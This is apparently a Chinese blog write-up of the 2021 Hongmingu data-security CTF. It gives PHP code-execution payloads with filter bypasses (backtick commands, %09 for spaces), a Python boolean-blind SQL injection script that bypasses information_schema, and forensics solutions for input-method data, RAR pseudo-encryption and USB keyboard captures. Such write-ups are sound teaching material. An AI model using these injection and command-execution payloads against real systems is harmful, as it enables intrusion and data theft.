2021红明谷杯数据安全大赛技能场景赛-Writeup


Web

write_shell

在这里插入图片描述
第一步主要考察PHP代码执行,第一步先写个phpinfo()看下情况。利用php的一种短标签可以绕过分号,然后拼接一下绕过php字样。
在这里插入图片描述

/?action=upload&data=<?=(p.hpinfo)()?>

沙盒路径?action=pwd看一下
在这里插入图片描述
看了下disable_functions的值,本来还在想该如何先拿到一个shell,然后绕过disable_functions。队友突然告诉反引号没过滤,可以直接写入并执行命令,试了一下

/?action=upload&data=<?=`whoami`?>

在这里插入图片描述
顿时感觉这题可能非预期了,在根目录下找到flag

/?action=upload&data=<?=`ls%09-la%09/`?>

%09用于绕过空格过滤
在这里插入图片描述

直接读取,注意这里有个php后缀会被过滤,不过在命令执行种用*替换即可

/?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>

在这里插入图片描述

happysql

一个login.php,一个register.php,一个home.php
在这里插入图片描述
加了个单引号发现有过滤
在这里插入图片描述
简单的fuzz一下黑名单,长度353的都是被过滤的
在这里插入图片描述
等号(=)用in或者regexp进行绕过,这里用in,空格用/**/绕过,or可以用||替换

username=mochu"||("1")in("1")#&password=mochu7

在这里插入图片描述
在这里插入图片描述
很明显是布尔盲注了
接下来考虑两个点:
1.截断函数用哪个?这里mid()和substring()已经被过滤了
2.如何绕过information

截断函数可以用left()right(),不过需要注意的是这两个函数并不能像mid和substring一样逐个截断,写脚本的时候注意下测试字符串的拼接。而绕过information已经是老生常谈了,猜测通过查询mysql.innodb_table_stats得到库名和表名

from binascii import *
import requests

ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/login.php'

headers = {'Host': 'eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
               'Accept-Encoding': 'gzip, deflate',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type': 'application/x-www-form-urlencoded'}

text = ''
for i in range(1,50):
    for s in ascii_str:
        username = '1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#'.format(i,hexlify((text+s).encode('utf-8')).decode('utf-8').upper())
        payload = {"username": username,"password": "mochu7"}
        res = requests.post(url=url,headers=headers,data=payload)
        if 'home.php' in res.text:
            text += s
            print(text)
1"||hex(left(version(),{}))in("{}")#

1"||hex(left((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{}))in("{}")#

1"||hex(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/(database_name)in(database())),{}))in("{}")#

1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#
查询到的信息:
version: 10.4.13-MariaDB
databases: ctf,mysql
Current-database: ctf
ctf's tables: ctf,f1ag

在这里插入图片描述

Misc

签到

一起来参与数据安全知识小竞赛。

  1. 在数据库系统中,口令保护是信息系统的第一道屏障。
  2. 为了防止物理上取走数据库而采取的加强数据库安全的方法是数据库加密。
  3. 发生介质故障后,磁盘上的物理数据和日志文件被破坏,这是最严重的一种故障,恢复方法是重装数据库,然后重做已完成的事务。
  4. 在数据库的安全评估过程中,下面那项是指系统能够对付各种可能的攻击的能力。可行性
  5. 数据库访问控制策略中,只需策略是只让用户得到有相应权限的信息,这些信息恰到可以让用户完成自己的工作,其他的权利一律不给。
  6. 数据库的安全策略是指如何组织、管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。
  7. 数据库的加密方法中,采用库外加密,则密钥管理较为简单,只需借用文件加密的密钥管理方法。
  8. 在下面的加密方法中,哪个加解密的效率最低:元素加密
    在这里插入图片描述

InputMonitor

在这里插入图片描述
\User\link3\Desktop\log_data.txt

没事,我都删掉了,之前的聊天记录都被我清干净了。除非他们在监控我输入

\User\link3\Desktop\flag.7z
在这里插入图片描述
输入法取证:https://mp.weixin.qq.com/s/0p3vbLub5vPKO5Pik9zmUQ
在这里插入图片描述

Google找了一下发现这个:https://github.com/studyzy/imewlconverter/issues/58
在这里插入图片描述
根据这位师傅给出的脚本:https://github.com/studyzy/imewlconverter/files/4365598/pinyin.zip
在这里插入图片描述
压缩包试了下不成功便成仁,密码错误,接着看

在这里插入图片描述
ChsPinyinIH.datChsPinyinUDL.dat,最后以UTF-16LE编码方式存入文档,010 Editor打开ChsPinyinIH.dat,修改前两个字节为:FF FE,保存
在这里插入图片描述
使用记事本打开ChsPinyinIH.dat,找到一个6字密码:有志者事竟成
在这里插入图片描述
输入密码,成功解压flag.7z
得到hidden.pdf,打开
在这里插入图片描述
根据文件名,这里直接把图片删了看看是不是掩盖了什么
在这里插入图片描述

flag{Y0u_F1nd_h1dd3n_m3g}

我的心是冰冰的

在这里插入图片描述
RAR伪加密
在这里插入图片描述
修改了PASSWORD_ENCRYPTED,将24字节处的84改为80,即可正常解压
在这里插入图片描述
在这里插入图片描述
bingbing.jpgjava盲水印

JAVA BlindWatermark:
https://github.com/ww23/BlindWatermark
https://github.com/ww23/BlindWatermark/releases

java -jar .\BlindWatermark.jar decode -c .\bingbing.jpg clue.jpg

在这里插入图片描述
得到密码:gnibgnib

bingbing.pcapng
在这里插入图片描述
键盘流量包tshark+UsbKeyboardDataHacker一把梭

root@mochu7-pc:/mnt/d/Tools/Misc/UsbKeyboardDataHacker# python UsbKeyboardDataHacker.py bingbing.pcapng
Running as user "root" and group "root". This could be dangerous.
[+] Found : 666c61677b3866396564326639333365662<DEL>31346138643035323364303334396531323939637d

去掉其中的2<DEL>,得到

666c61677b38663965643266393333656631346138643035323364303334396531323939637d
>>> from binascii import *
>>> unhexlify('666c61677b38663965643266393333656631346138643035323364303334396531323939637d').decode('utf8')
'flag{8f9ed2f933ef14a8d0523d0349e1299c}'
  • 8
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值